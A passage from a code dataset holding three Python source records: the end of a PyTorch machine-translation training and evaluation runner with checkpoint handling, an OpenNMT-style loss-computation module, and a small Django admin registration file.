[batch_size]\n tgt_sent_batch, tgt_len_batch,\n )\n\n loss = self.xe_loss(\n # [(max_tgt_len - 1 * batch_size), tgt_vocab_size]\n tgt_word_logit_vecs_batch.view(-1, data_utils.tgt_vocab.size),\n # [(max_tgt_len - 1) * batch_size]\n tgt_sent_batch[1:, :].contiguous().view(-1).to(torch.device(configs.decoder_device_id))\n )\n avg_loss += loss.item()\n\n # avg_dist += self.calc_avg_dist(best_seq_batch, transcript_batch, transcript_len_batch)\n\n if pct >= next_logging_pct:\n log(\n f'{int(pct)}%, avg_dev_loss: {avg_loss / batch_num:.6}, '\n f'avg_dev_ppl: {math.exp(avg_loss / batch_num):.6}, '\n f'time: {time.time() - start_time:.6}'\n )\n next_logging_pct += 10.\n\n avg_loss /= batch_num\n avg_ppl = math.exp(avg_loss)\n\n log(\n f'{int(pct)}%, avg_dev_loss: {avg_loss:.6}, '\n f'avg_dev_ppl: {avg_ppl:.6}, '\n f'time: {time.time() - start_time:.6}'\n )\n\n if self.lr_scheduler.step(avg_loss) and configs.training and configs.backtracks_when_worse:\n configs.uses_new_optimizer = True\n self.load_ckpt(self.prev_ckpt_path)\n self.epoch_idx -= 1\n\n saved_ckpt = False\n\n if avg_ppl < self.min_validating_ppl:\n self.min_validating_ppl = avg_ppl\n\n min_validating_ppl_file = open(configs.min_validating_ppl_path)\n\n if avg_ppl < float(min_validating_ppl_file.readline().strip()):\n min_validating_ppl_file.close()\n min_validating_ppl_file = open(configs.min_validating_ppl_path, 'w')\n print(avg_ppl, file=min_validating_ppl_file)\n self.save_ckpt()\n saved_ckpt = True\n\n min_validating_ppl_file.close()\n\n if configs.saves_every_ckpts and not saved_ckpt:\n self.save_ckpt()\n\n def test(self, name='test'):\n with torch.no_grad():\n log('testing')\n self.load_ckpt()\n self.model.eval()\n next_logging_pct = .5\n best_seqs = [[] for idx in range(data_utils.get_dataset_size(name))]\n start_time = time.time()\n\n for pct, batch in data_utils.gen_batches(name):\n (\n # [max_src_len, batch_size], [batch_size]\n src_sent_batch, src_len_batch,\n _, _,\n # [batch_size]\n idx_batch\n ) = batch\n max_src_len, *_ = src_sent_batch.shape\n best_seq_batch = self.model.decode(\n # [max_src_len, batch_size], [batch_size]\n src_sent_batch, src_len_batch\n )\n\n for idx, best_seq in zip(idx_batch, best_seq_batch):\n best_seqs[idx] = data_utils.tgt_vocab.to_words(best_seq)\n\n if pct >= next_logging_pct:\n log(\n f'{int(pct)}%, time: {time.time() - start_time:.6}'\n )\n next_logging_pct += 10.\n\n references = data_utils.get_references(name)\n\n bleu_score = Runner.compute_bleu_score(\n references=references,\n hypotheses=best_seqs\n )\n\n log(\n f'100%, time: {time.time() - start_time:.6}, bleu: {bleu_score}'\n )\n\n with open(f'{configs.results_dir}/results.{name}.{self.ckpt_id}.txt', 'w') as results_file:\n # for best_seq, reference in zip(best_seqs, references):\n for best_seq in best_seqs:\n print(' '.join(best_seq), file=results_file)\n # print(' '.join(reference), file=results_file)\n # print('', file=results_file)\n os.system(\n f'./multi-bleu.perl data/{name}.de-en.en < {configs.results_dir}/results.{name}.{self.ckpt_id}.txt'\n )\n\n @staticmethod\n def compute_bleu_score(references: List[List[str]], hypotheses: List[List[str]]) -> float:\n if references[0][0] == '<s>':\n references = [r[1:-1] for r in references]\n\n return corpus_bleu(\n [[r] for r in references],\n hypotheses\n )\n\n def get_ckpt(self):\n return {\n 'id': f'{configs.timestamp}.{self.epoch_idx}',\n 'parent_id': self.ckpt_id,\n 'epoch_idx': self.epoch_idx,\n 'min_validating_ppl': self.min_validating_ppl,\n 'model': self.model.state_dict(),\n 'optimizer': self.optimizer.state_dict(),\n 'lr_scheduler': self.lr_scheduler.state_dict()\n }\n\n def set_ckpt(self, ckpt_dict):\n self.ckpt_id = ckpt_dict['id']\n self.epoch_idx = ckpt_dict['epoch_idx'] + 1\n self.min_validating_ppl = ckpt_dict['min_validating_ppl']\n\n model_state_dict = self.model.state_dict()\n model_state_dict.update(\n {\n name: param\n for name, param in ckpt_dict['model'].items()\n if name in model_state_dict\n }\n )\n\n self.model.load_state_dict(model_state_dict)\n del model_state_dict\n\n if not configs.uses_new_optimizer:\n self.optimizer.load_state_dict(ckpt_dict['optimizer'])\n self.lr_scheduler.load_state_dict(ckpt_dict['lr_scheduler'])\n\n del ckpt_dict\n\n torch.cuda.empty_cache()\n\n ckpt = property(get_ckpt, set_ckpt)\n\n def save_ckpt(self):\n ckpt_path = f'{configs.ckpts_dir}/{configs.timestamp}.{self.epoch_idx}.ckpt'\n log(f'saving checkpoint {ckpt_path}')\n torch.save(self.ckpt, f=ckpt_path)\n self.prev_ckpt_path = ckpt_path\n\n @staticmethod\n def to_timestamp_and_epoch_idx(ckpt_path_):\n date, time, epoch_idx = map(int, re.split(r'[-.]', ckpt_path_[:ckpt_path_.find('.ckpt')]))\n return date, time, epoch_idx\n\n def load_ckpt(self, ckpt_path=None):\n if not ckpt_path:\n if configs.ckpt_id:\n ckpt_path = f'{configs.ckpts_dir}/{configs.ckpt_id}.ckpt'\n elif configs.loads_best_ckpt:\n ckpt_path = configs.best_ckpt_path\n else:\n ckpt_paths = [path for path in os.listdir(f'{configs.ckpts_dir}/') if path.endswith('.ckpt')]\n ckpt_path = f'{configs.ckpts_dir}/{sorted(ckpt_paths, key=Runner.to_timestamp_and_epoch_idx)[-1]}'\n\n print(f'loading checkpoint {ckpt_path}')\n\n self.ckpt = torch.load(ckpt_path)\n\n\nif __name__ == '__main__':\n runner = Runner()\n\n if configs.training:\n runner.train()\n elif configs.validating:\n runner.validate()\n else:\n runner.test()\n", "sub_path": "runner.py", "file_name": "runner.py", "file_ext": "py", "file_size_in_byte": 11297, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "model.Model", "line_number": 17, "usage_type": "call"}, {"api_name": "data_utils.tgt_vocab", "line_number": 18, "usage_type": "attribute"}, {"api_name": "configs.lr", "line_number": 19, "usage_type": "attribute"}, {"api_name": "informative_lr_scheduler.InformativeLrScheduler", "line_number": 20, "usage_type": "call"}, {"api_name": "configs.lr_scheduler_patience", "line_number": 22, "usage_type": "attribute"}, {"api_name": "configs.lr_scheduler_factor", "line_number": 23, "usage_type": "attribute"}, {"api_name": "configs.ckpt_id", "line_number": 31, "usage_type": "attribute"}, {"api_name": "configs.loads_ckpt", "line_number": 31, "usage_type": "attribute"}, {"api_name": "configs.loads_best_ckpt", "line_number": 31, "usage_type": "attribute"}, {"api_name": "configs.epoch_num", "line_number": 34, "usage_type": "attribute"}, {"api_name": "log.log", "line_number": 35, "usage_type": "call"}, {"api_name": "log.log", "line_number": 36, "usage_type": "call"}, {"api_name": "time.time", "line_number": 42, "usage_type": "call"}, {"api_name": "data_utils.gen_batches", "line_number": 44, "usage_type": "call"}, {"api_name": "data_utils.tgt_vocab", "line_number": 68, "usage_type": "attribute"}, {"api_name": "configs.decoder_device_id", "line_number": 70, "usage_type": "attribute"}, {"api_name": "configs.clips_grad_norm", "line_number": 75, "usage_type": "attribute"}, {"api_name": "configs.max_grad_norm", "line_number": 76, "usage_type": "attribute"}, {"api_name": "log.log", "line_number": 82, "usage_type": "call"}, {"api_name": "time.time", "line_number": 85, "usage_type": "call"}, {"api_name": "log.log", "line_number": 89, "usage_type": "call"}, {"api_name": "time.time", "line_number": 92, "usage_type": "call"}, {"api_name": "log.log", "line_number": 100, "usage_type": "call"}, {"api_name": "time.time", "line_number": 107, "usage_type": "call"}, {"api_name": "data_utils.gen_batches", "line_number": 109, "usage_type": "call"}, {"api_name": "data_utils.tgt_vocab", "line_number": 129, "usage_type": "attribute"}, {"api_name": "configs.decoder_device_id", "line_number": 131, "usage_type": "attribute"}, {"api_name": "log.log", "line_number": 138, "usage_type": "call"}, {"api_name": "time.time", "line_number": 141, "usage_type": "call"}, {"api_name": "log.log", "line_number": 148, "usage_type": "call"}, {"api_name": "time.time", "line_number": 151, "usage_type": "call"}, {"api_name": "configs.training", "line_number": 154, "usage_type": "attribute"}, {"api_name": "configs.backtracks_when_worse", "line_number": 154, "usage_type": "attribute"}, {"api_name": "configs.uses_new_optimizer", "line_number": 155, "usage_type": "attribute"}, {"api_name": "configs.min_validating_ppl_path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "configs.min_validating_ppl_path", "line_number": 168, "usage_type": "attribute"}, {"api_name": "configs.saves_every_ckpts", "line_number": 175, "usage_type": "attribute"}, {"api_name": "log.log", "line_number": 180, "usage_type": "call"}, {"api_name": "data_utils.get_dataset_size", "line_number": 184, "usage_type": "call"}, {"api_name": "time.time", "line_number": 185, "usage_type": "call"}, {"api_name": "data_utils.gen_batches", "line_number": 187, "usage_type": "call"}, {"api_name": "data_utils.tgt_vocab.to_words", "line_number": 202, "usage_type": "call"}, {"api_name": "data_utils.tgt_vocab", "line_number": 202, "usage_type": "attribute"}, {"api_name": "log.log", "line_number": 205, "usage_type": "call"}, {"api_name": "time.time", "line_number": 206, "usage_type": "call"}, {"api_name": "data_utils.get_references", "line_number": 210, "usage_type": "call"}, {"api_name": "log.log", "line_number": 217, "usage_type": "call"}, {"api_name": "time.time", "line_number": 218, "usage_type": "call"}, {"api_name": "configs.results_dir", "line_number": 221, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 227, "usage_type": "call"}, {"api_name": "configs.results_dir", "line_number": 228, "usage_type": "attribute"}, {"api_name": "nltk.translate.bleu_score.corpus_bleu", "line_number": 236, "usage_type": "call"}, {"api_name": "configs.timestamp", "line_number": 243, "usage_type": "attribute"}, {"api_name": "configs.uses_new_optimizer", "line_number": 269, "usage_type": "attribute"}, {"api_name": "configs.ckpts_dir", "line_number": 280, "usage_type": "attribute"}, {"api_name": "configs.timestamp", "line_number": 280, "usage_type": "attribute"}, {"api_name": "log.log", "line_number": 281, "usage_type": "call"}, {"api_name": "re.split", "line_number": 287, "usage_type": "call"}, {"api_name": "configs.ckpt_id", "line_number": 292, "usage_type": "attribute"}, {"api_name": "configs.ckpts_dir", "line_number": 293, "usage_type": "attribute"}, {"api_name": "configs.ckpt_id", "line_number": 293, "usage_type": "attribute"}, {"api_name": "configs.loads_best_ckpt", "line_number": 294, "usage_type": "attribute"}, {"api_name": "configs.best_ckpt_path", "line_number": 295, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 297, "usage_type": "call"}, {"api_name": "configs.ckpts_dir", "line_number": 297, "usage_type": "attribute"}, {"api_name": "configs.ckpts_dir", "line_number": 298, "usage_type": "attribute"}, {"api_name": "configs.training", "line_number": 308, "usage_type": "attribute"}, {"api_name": "configs.validating", "line_number": 310, "usage_type": "attribute"}]} {"seq_id": "241238585", "text": "\"\"\"\nThis file handles the details of the loss function during training.\n\nThis includes: LossComputeBase and the standard NMTLossCompute, and\n sharded loss compute stuff.\n\"\"\"\nfrom __future__ import division\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport onmt\nimport onmt.inputters as inputters\nfrom onmt.modules.sparse_losses import SparsemaxLoss\nfrom math import isnan\n\n\ndef build_loss_compute(model, tgt_vocab, opt, train=True):\n \"\"\"\n This returns user-defined LossCompute object, which is used to\n compute loss in train/validate process. You can implement your\n own *LossCompute class, by subclassing LossComputeBase.\n \"\"\"\n device = torch.device(\"cuda\" if onmt.utils.misc.use_gpu(opt) else \"cpu\")\n\n if opt.copy_attn:\n compute = onmt.modules.CopyGeneratorLossCompute(\n model.generator, tgt_vocab, opt.copy_attn_force,\n opt.copy_loss_by_seqlength, focal_gamma=opt.focal_gamma)\n elif opt.model_type==\"vector\":\n sequential_target = False\n if opt.decoder_type==\"vecdif_multi\":\n sequential_target=True\n compute = AcosLoss(model.generator, tgt_vocab, model.decoder.hidden_size, device, sequential_target=sequential_target) #model.generator\n else:\n compute = NMTLossCompute(\n model.generator, tgt_vocab,\n label_smoothing=opt.label_smoothing if train else 0.0)\n compute.to(device)\n\n return compute\n\n\nclass LossComputeBase(nn.Module):\n \"\"\"\n Class for managing efficient loss computation. Handles\n sharding next step predictions and accumulating mutiple\n loss computations\n\n\n Users can implement their own loss computation strategy by making\n subclass of this one. Users need to implement the _compute_loss()\n and make_shard_state() methods.\n\n Args:\n generator (:obj:`nn.Module`) :\n module that maps the output of the decoder to a\n distribution over the target vocabulary.\n tgt_vocab (:obj:`Vocab`) :\n torchtext vocab object representing the target output\n normalzation (str): normalize by \"sents\" or \"tokens\"\n \"\"\"\n\n def __init__(self, generator, tgt_vocab):\n super(LossComputeBase, self).__init__()\n self.generator = generator\n self.tgt_vocab = tgt_vocab\n self.padding_idx = tgt_vocab.stoi[inputters.PAD_WORD]\n\n def _make_shard_state(self, batch, output, range_, attns=None):\n \"\"\"\n Make shard state dictionary for shards() to return iterable\n shards for efficient loss computation. Subclass must define\n this method to match its own _compute_loss() interface.\n Args:\n batch: the current batch.\n output: the predict output from the model.\n range_: the range of examples for computing, the whole\n batch or a trunc of it?\n attns: the attns dictionary returned from the model.\n \"\"\"\n return NotImplementedError\n\n def _compute_loss(self, batch, output, target, **kwargs):\n \"\"\"\n Compute the loss. Subclass must define this method.\n\n Args:\n\n batch: the current batch.\n output: the predict output from the model.\n target: the validate target to compare output with.\n **kwargs(optional): additional info for computing loss.\n \"\"\"\n return NotImplementedError\n\n def monolithic_compute_loss(self, batch, output, attns):\n \"\"\"\n Compute the forward loss for the batch.\n\n Args:\n batch (batch): batch of labeled examples\n output (:obj:`FloatTensor`):\n output of decoder model `[tgt_len x batch x hidden]`\n attns (dict of :obj:`FloatTensor`) :\n dictionary of attention distributions\n `[tgt_len x batch x src_len]`\n Returns:\n :obj:`onmt.utils.Statistics`: loss statistics\n \"\"\"\n range_ = (0, batch.tgt.size(0))\n shard_state = self._make_shard_state(batch, output, range_, attns)\n to_compare = batch.src[0, :1, :]\n shard_state[\"to_compare\"] = to_compare\n _, batch_stats = self._compute_loss(batch, **shard_state)\n\n return batch_stats\n\n def monolithic_compute_loss_multivec(self, batch, output):\n \"\"\"\n Compute the forward loss for the batch.\n\n Args:\n batch (batch): batch of labeled examples\n output (:obj:`FloatTensor`):\n output of decoder model `[tgt_len x batch x hidden]`\n attns (dict of :obj:`FloatTensor`) :\n dictionary of attention distributions\n `[tgt_len x batch x src_len]`\n Returns:\n :obj:`onmt.utils.Statistics`: loss statistics\n \"\"\"\n stats = None\n i = 0\n for o in output:\n range_ = (i, i+1)\n shard_state = self._make_shard_state(batch, o, range_, None)\n to_compare = batch.src[:, i, :] # to compare makes no point in validation.\n shard_state[\"to_compare\"] = to_compare\n _, batch_stats = self._compute_loss(batch, **shard_state)\n if stats is None:\n stats = batch_stats\n else:\n stats.update(batch_stats)\n i+=1\n\n return stats\n\n def sharded_compute_loss(self, batch, output, attns,\n cur_trunc, trunc_size, shard_size,\n normalization, to_compare=None):\n \"\"\"Compute the forward loss and backpropagate. Computation is done\n with shards and optionally truncation for memory efficiency.\n\n Also supports truncated BPTT for long sequences by taking a\n range in the decoder output sequence to back propagate in.\n Range is from `(cur_trunc, cur_trunc + trunc_size)`.\n\n Note sharding is an exact efficiency trick to relieve memory\n required for the generation buffers. Truncation is an\n approximate efficiency trick to relieve the memory required\n in the RNN buffers.\n\n Args:\n batch (batch) : batch of labeled examples\n output (:obj:`FloatTensor`) :\n output of decoder model `[tgt_len x batch x hidden]`\n attns (dict) : dictionary of attention distributions\n `[tgt_len x batch x src_len]`\n cur_trunc (int) : starting position of truncation window\n trunc_size (int) : length of truncation window\n shard_size (int) : maximum number of examples in a shard\n normalization (int) : Loss is divided by this number\n to_compare (vector) - sources used for current prediction - used only in vecdiff\n\n Returns:\n :obj:`onmt.utils.Statistics`: validation loss statistics\n\n \"\"\"\n batch_stats = onmt.utils.Statistics()\n range_ = (cur_trunc, cur_trunc + trunc_size)\n shard_state = self._make_shard_state(batch, output, range_, attns)\n for shard in shards(shard_state, shard_size):\n if to_compare is not None:\n shard[\"to_compare\"]=to_compare\n loss, stats = self._compute_loss(batch, **shard)\n #try:\n loss.div(float(normalization)).backward()\n # except Exception as e:\n # print(\"PROBLEM \"+str(e))\n batch_stats.update(stats)\n return batch_stats\n\n def _stats(self, loss, scores, target):\n \"\"\"\n Args:\n loss (:obj:`FloatTensor`): the loss computed by the loss criterion.\n scores (:obj:`FloatTensor`): a score for each possible output\n target (:obj:`FloatTensor`): true targets\n\n Returns:\n :obj:`onmt.utils.Statistics` : statistics for this batch.\n \"\"\"\n pred = scores.max(1)[1]\n non_padding = target.ne(self.padding_idx)\n num_correct = pred.eq(target) \\\n .masked_select(non_padding) \\\n .sum() \\\n .item()\n num_non_padding = non_padding.sum().item()\n return onmt.utils.Statistics(loss.item(), num_non_padding, num_correct)\n\n def _stats_vec(self, loss, scores, target):\n \"\"\"\n Args:\n loss (:obj:`FloatTensor`): the loss computed by the loss criterion.\n scores (:obj:`FloatTensor`): a score for each possible output\n target (:obj:`FloatTensor`): true targets\n\n Returns:\n :obj:`onmt.utils.Statistics` : statistics for this batch.\n \"\"\"\n # equal = scores.eq(target).sum().item()\n # pred = scores.max(1)[1]\n # non_padding = target.ne(self.padding_idx)\n # num_correct = pred.eq(target) \\\n # .masked_select(non_padding) \\\n # .sum() \\\n # .item()\n # num_non_padding = non_padding.sum().item()\n return onmt.utils.Statistics(loss.item(), 1 ,1 ) # equal, target.size()[1])\n\n def _bottle(self, _v):\n return _v.view(-1, _v.size(2))\n\n def _unbottle(self, _v, batch_size):\n return _v.view(-1, batch_size, _v.size(1))\n\n\nclass LabelSmoothingLoss(nn.Module):\n \"\"\"\n With label smoothing,\n KL-divergence between q_{smoothed ground truth prob.}(w)\n and p_{prob. computed by model}(w) is minimized.\n \"\"\"\n def __init__(self, label_smoothing, tgt_vocab_size, ignore_index=-100):\n assert 0.0 < label_smoothing <= 1.0\n self.padding_idx = ignore_index\n super(LabelSmoothingLoss, self).__init__()\n\n smoothing_value = label_smoothing / (tgt_vocab_size - 2)\n one_hot = torch.full((tgt_vocab_size,), smoothing_value)\n one_hot[self.padding_idx] = 0\n self.register_buffer('one_hot', one_hot.unsqueeze(0))\n\n self.confidence = 1.0 - label_smoothing\n\n def forward(self, output, target):\n \"\"\"\n output (FloatTensor): batch_size x n_classes\n target (LongTensor): batch_size\n \"\"\"\n model_prob = self.one_hot.repeat(target.size(0), 1)\n model_prob.scatter_(1, target.unsqueeze(1), self.confidence)\n model_prob.masked_fill_((target == self.padding_idx).unsqueeze(1), 0)\n\n return F.kl_div(output, model_prob, reduction='sum')\n\n\nclass AcosLoss(LossComputeBase):\n \"\"\"\n arcus cosine loss\n \"\"\"\n def __init__(self, generator, tgt_vocab, output_size, device, sequential_target=False):\n super(AcosLoss, self).__init__(generator, tgt_vocab)\n self.zero_vec = torch.zeros(1,output_size, device=device)\n self.filled_vec = torch.zeros(1, output_size, device=device).fill_(0.0001)\n #self.prev_vec = torch.zeros(1,output_size, device=device)\n self.prev_distance = None # torch.zeros(1, 1, device=device)\n self.sequential_target=sequential_target\n self.lrelu = nn.LeakyReLU(0.01)\n\n\n def _compute_loss(self, batch, output, target, to_compare):\n \"\"\"\n output (FloatTensor): batch_size x n_classes\n target (LongTensor): batch_size\n \"\"\"\n if self.generator is not None:\n output = torch.squeeze(output, dim=0)\n output = self.generator(output)\n while len(output.size()) < len(target.size()):\n output = output.unsqueeze(0)\n\n v1 = F.cosine_similarity(output, target, dim=(len(target.size())-1) ) #torch.abs()\n\n v2 = torch.acos(v1)\n vstat = v2.clone()\n\n if self.prev_distance is None:\n self.prev_distance = torch.ones_like(v2) *1.5\n\n if v2.size()[0]> self.prev_distance.size()[0]: # in such case,\n v2 = v2[:self.prev_distance.size()[0]]\n elif v2.size()[0]< self.prev_distance.size()[0]: # in such case,\n self.prev_distance = self.prev_distance[:v2.size()[0]]\n\n v3 = v2 - self.prev_distance[:v2.size()[0]] # v2/10 + F.relu remove relu ?\n if self.sequential_target:\n optimal_improvement = torch.abs(F.cosine_similarity(to_compare, target, dim=(len(target.size()) - 1)))\n optimal_improvement = torch.acos(optimal_improvement)\n if v2.size()[0] > optimal_improvement.size()[0]: # in such case,\n v2 = v2[:optimal_improvement.size()[0]]\n elif v2.size()[0] < optimal_improvement.size()[0]: # in such case,\n optimal_improvement = optimal_improvement[:v2.size()[0]]\n if v2.size()[0] != optimal_improvement.size()[0]:\n print(\"v2 \"+str(v2.size))\n print(\"optimal_improvement \" + str(optimal_improvement.size))\n v3a = v2 - optimal_improvement\n v4 = v3a + F.relu(v3)\n else:\n v4 = v3\n #print(str(v2)+\" \\n v3=\"+str(v3)+\" \\n v3a=\"+str(v3a)+\" \\n v4=\"+str(v4)+\"\\n sum= \"+str(v4.sum())+\" \\n\\n\" )\n self.prev_distance = v2.detach()\n\n #print(\"targe \" + str(target[0,0:5]) + \" outout= \" + str(output[0,0:5]) + \" loss = \" + str(v2.item())+\" final loss = \"+str(v3))\n stats = self._stats_vec(vstat.sum()/vstat.size()[0], output, target)\n return v4.sum(), stats\n\n def _make_shard_state(self, batch, output, range_, attns=None):\n if self.sequential_target:\n return {\n \"output\": output,\n \"target\": batch.tgt[:,range_[0]: range_[1],:].squeeze(1),\n }\n return {\n \"output\": output,\n \"target\": batch.tgt[range_[0]: range_[1]],\n }\n\nclass NMTLossCompute(LossComputeBase):\n \"\"\"\n Standard NMT Loss Computation.\n \"\"\"\n\n def __init__(self, generator, tgt_vocab, normalization=\"sents\",\n label_smoothing=0.0):\n super(NMTLossCompute, self).__init__(generator, tgt_vocab)\n self.sparse = not isinstance(generator[1], nn.LogSoftmax)\n self.vector = not isinstance(generator[1], nn.Sigmoid)\n if label_smoothing > 0:\n self.criterion = LabelSmoothingLoss(\n label_smoothing, len(tgt_vocab), ignore_index=self.padding_idx\n )\n elif self.sparse:\n self.criterion = SparsemaxLoss(\n ignore_index=self.padding_idx, size_average=False\n )\n elif self.vector:\n self.criterion = SparsemaxLoss(\n ignore_index=self.padding_idx, size_average=False\n )\n else:\n self.criterion = nn.NLLLoss(\n ignore_index=self.padding_idx, reduction='sum'\n )\n\n def _make_shard_state(self, batch, output, range_, attns=None):\n return {\n \"output\": output,\n \"target\": batch.tgt[range_[0] + 1: range_[1]],\n }\n\n def _compute_loss(self, batch, output, target):\n bottled_output = self._bottle(output)\n if self.sparse:\n # for sparsemax loss, the loss function operates on the raw output\n # vector, not a probability vector. Hence it's only necessary to\n # apply the first part of the generator here.\n scores = self.generator[0](bottled_output)\n else:\n scores = self.generator(bottled_output)\n gtruth = target.view(-1)\n\n loss = self.criterion(scores, gtruth)\n stats = self._stats(loss.clone(), scores, gtruth)\n\n return loss, stats\n\n\ndef filter_shard_state(state, shard_size=None):\n \"\"\" ? \"\"\"\n for k, v in state.items():\n if shard_size is None:\n yield k, v\n\n if v is not None:\n v_split = []\n if isinstance(v, torch.Tensor):\n for v_chunk in torch.split(v, shard_size):\n v_chunk = v_chunk.data.clone()\n v_chunk.requires_grad = v.requires_grad\n v_split.append(v_chunk)\n yield k, (v, v_split)\n\n\ndef shards(state, shard_size, eval_only=False):\n \"\"\"\n Args:\n state: A dictionary which corresponds to the output of\n *LossCompute._make_shard_state(). The values for\n those keys are Tensor-like or None.\n shard_size: The maximum size of the shards yielded by the model.\n eval_only: If True, only yield the state, nothing else.\n Otherwise, yield shards.\n\n Yields:\n Each yielded shard is a dict.\n\n Side effect:\n After the last shard, this function does back-propagation.\n \"\"\"\n if eval_only:\n yield filter_shard_state(state)\n else:\n # non_none: the subdict of the state dictionary where the values\n # are not None.\n non_none = dict(filter_shard_state(state, shard_size))\n\n # Now, the iteration:\n # state is a dictionary of sequences of tensor-like but we\n # want a sequence of dictionaries of tensors.\n # First, unzip the dictionary into a sequence of keys and a\n # sequence of tensor-like sequences.\n keys, values = zip(*((k, [v_chunk for v_chunk in v_split])\n for k, (_, v_split) in non_none.items()))\n\n # Now, yield a dictionary for each shard. The keys are always\n # the same. values is a sequence of length #keys where each\n # element is a sequence of length #shards. We want to iterate\n # over the shards, not over the keys: therefore, the values need\n # to be re-zipped by shard and then each shard can be paired\n # with the keys.\n for shard_tensors in zip(*values):\n yield dict(zip(keys, shard_tensors))\n\n # Assumed backprop'd\n variables = []\n for k, (v, v_split) in non_none.items():\n if isinstance(v, torch.Tensor) and state[k].requires_grad:\n variables.extend(zip(torch.split(state[k], shard_size),\n [v_chunk.grad for v_chunk in v_split]))\n inputs, grads = zip(*variables)\n torch.autograd.backward(inputs, grads)\n", "sub_path": "onmt/utils/loss.py", "file_name": "loss.py", "file_ext": "py", "file_size_in_byte": 17771, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "torch.device", "line_number": 24, "usage_type": "call"}, {"api_name": "onmt.utils.misc.use_gpu", "line_number": 24, "usage_type": "call"}, {"api_name": "onmt.utils", "line_number": 24, "usage_type": "attribute"}, {"api_name": "onmt.modules.CopyGeneratorLossCompute", "line_number": 27, "usage_type": "call"}, {"api_name": "onmt.modules", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "onmt.inputters.PAD_WORD", "line_number": 68, "usage_type": "attribute"}, {"api_name": "onmt.inputters", "line_number": 68, "usage_type": "name"}, {"api_name": "onmt.utils.Statistics", "line_number": 180, "usage_type": "call"}, {"api_name": "onmt.utils", "line_number": 180, "usage_type": "attribute"}, {"api_name": "onmt.utils.Statistics", "line_number": 211, "usage_type": "call"}, {"api_name": "onmt.utils", "line_number": 211, "usage_type": "attribute"}, {"api_name": "onmt.utils.Statistics", "line_number": 231, "usage_type": "call"}, {"api_name": "onmt.utils", "line_number": 231, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 240, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 240, "usage_type": "name"}, {"api_name": "torch.full", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.nn.functional.kl_div", "line_number": 267, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 267, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 276, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 277, "usage_type": "call"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 281, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 281, "usage_type": "name"}, {"api_name": "torch.squeeze", "line_number": 290, "usage_type": "call"}, {"api_name": "torch.nn.functional.cosine_similarity", "line_number": 295, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 295, "usage_type": "name"}, {"api_name": "torch.acos", "line_number": 297, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 301, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 310, "usage_type": "call"}, {"api_name": "torch.nn.functional.cosine_similarity", "line_number": 310, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 310, "usage_type": "name"}, {"api_name": "torch.acos", "line_number": 311, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 320, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 320, "usage_type": "name"}, {"api_name": "torch.nn.LogSoftmax", "line_number": 349, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 349, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 350, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 350, "usage_type": "name"}, {"api_name": "onmt.modules.sparse_losses.SparsemaxLoss", "line_number": 356, "usage_type": "call"}, {"api_name": "onmt.modules.sparse_losses.SparsemaxLoss", "line_number": 360, "usage_type": "call"}, {"api_name": "torch.nn.NLLLoss", "line_number": 364, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 364, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 399, "usage_type": "attribute"}, {"api_name": "torch.split", "line_number": 400, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 450, "usage_type": "attribute"}, {"api_name": "torch.split", "line_number": 451, "usage_type": "call"}, {"api_name": "torch.autograd.backward", "line_number": 454, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 454, "usage_type": "attribute"}]} {"seq_id": "551134945", "text": "from django.contrib import admin\nfrom home.models import Setting, ContactMessage\nclass SettingAdmin(admin.ModelAdmin):\n list_display = ['title', 'company', 'update_at', 'status']\n\n\nclass ContactMessageAdmin(admin.ModelAdmin):\n list_display = ['name', 'subject', 'update_at', 'status']\n readonly_fields = ('name', 'subject', 'email', 'message', 'ip')\n list_filter= ['status',]\n\nadmin.site.register(Setting, SettingAdmin)\nadmin.site.register(ContactMessage, ContactMessageAdmin)", "sub_path": "home/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 490, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.contrib.admin.ModelAdmin", "line_number": 3, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 3, "usage_type": "name"}, {"api_name": "django.contrib.admin.ModelAdmin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 12, "usage_type": "call"}, {"api_name": "home.models.Setting", "line_number": 12, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 12, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 13, "usage_type": "call"}, {"api_name": "home.models.ContactMessage", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 13, "usage_type": 